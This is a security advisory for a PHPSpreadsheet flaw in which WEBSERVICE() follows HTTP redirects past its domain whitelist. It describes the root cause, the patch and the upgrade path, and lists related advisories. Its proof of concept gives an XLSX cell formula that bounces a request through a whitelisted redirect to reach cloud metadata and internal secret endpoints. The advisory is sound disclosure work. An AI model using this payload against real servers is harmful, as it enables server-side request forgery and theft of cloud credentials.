CVE-2026-59931: PHPSpreadsheet SSRF Whitelist Bypass via HTTP Redirect in WEBSERVICE()
A crafted XLSX file can use the WEBSERVICE() formula to bounce an HTTP request through any whitelisted domain that issues a redirect, reaching internal services that the domain whitelist was meant to…
The problem
PHPSpreadsheet 5.4.0 introduced a domain whitelist for the WEBSERVICE() formula function via Spreadsheet::setDomainWhiteList(). The check in Calculation/Web/Service.php validates the hostname of the initial URL with parse_url(), then calls file_get_contents() with a stream context that leaves redirect-following enabled by default.
PHP's HTTP stream wrapper follows up to 20 redirects automatically. The redirect destination is never re-checked against the whitelist, so any whitelisted domain that returns a 302 (an open redirect, an attacker-controlled subdomain, or a DNS-rebinding target) becomes a pivot into the internal network.
As a bonus defect, the port is not included in the whitelist key, so whitelisting example.com implicitly whitelists all ports on that host.
Proof of concept
A working proof-of-concept for CVE-2026-59931 in phpoffice/phpspreadsheet, with the exact payload below.
<!-- cell A1 in xl/worksheets/sheet1.xml inside the XLSX archive -->
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
<!-- whitelisted-domain.com/redirect responds with:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
file_get_contents() follows the redirect without re-validating the
destination; the cloud-metadata response is returned as the cell value. -->
<!-- Direct access (blocked by whitelist) -->
<!-- =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") => null -->
<!-- Via redirect from whitelisted domain (bypass) -->
<!-- =WEBSERVICE("http://whitelisted-domain.com:7071/redirect-to-internal") => {"secret":"..."} -->The root cause is a single-point validation: the whitelist check fires once on the original URL, and the stream context omits 'follow_location' => false, so PHP silently follows every 302/301 the server returns. The patch (commit 7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d) adds 'follow_location' => 0 and 'max_redirects' => 0 to the $ctxArray, making file_get_contents() stop at the first redirect response instead of fetching the destination.
This is CWE-918. The secondary issue (port not included in the whitelist key) means that even without redirects, whitelisting a safe hostname allows port-scanning all TCP ports on that host via WEBSERVICE().
The fix
Upgrade to phpoffice/phpspreadsheet 5.8.1 or later. The patch sets 'follow_location' => 0 and 'max_redirects' => 0 in the HTTP stream context used by webService(), preventing file_get_contents() from following any redirect. If your application cannot upgrade immediately, avoid calling setDomainWhiteList() with domains you do not fully control, and do not pass user-supplied XLSX files to getCalculatedValue() without sandboxing.
Related research
- high · 7.5CVE-2026-59932CVE-2026-59932: PHPSpreadsheet Gnumeric Reader Gzip Bomb (DoS)
- high · 7.5CVE-2026-59933CVE-2026-59933: PHPSpreadsheet OLE Sector-Chain Infinite Loop (DoS)
- high · 7.7CVE-2026-54493CVE-2026-54493: Koel Authenticated Full-Read SSRF via Subsonic Radio Endpoints
- critical · 9.9CVE-2026-45262CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn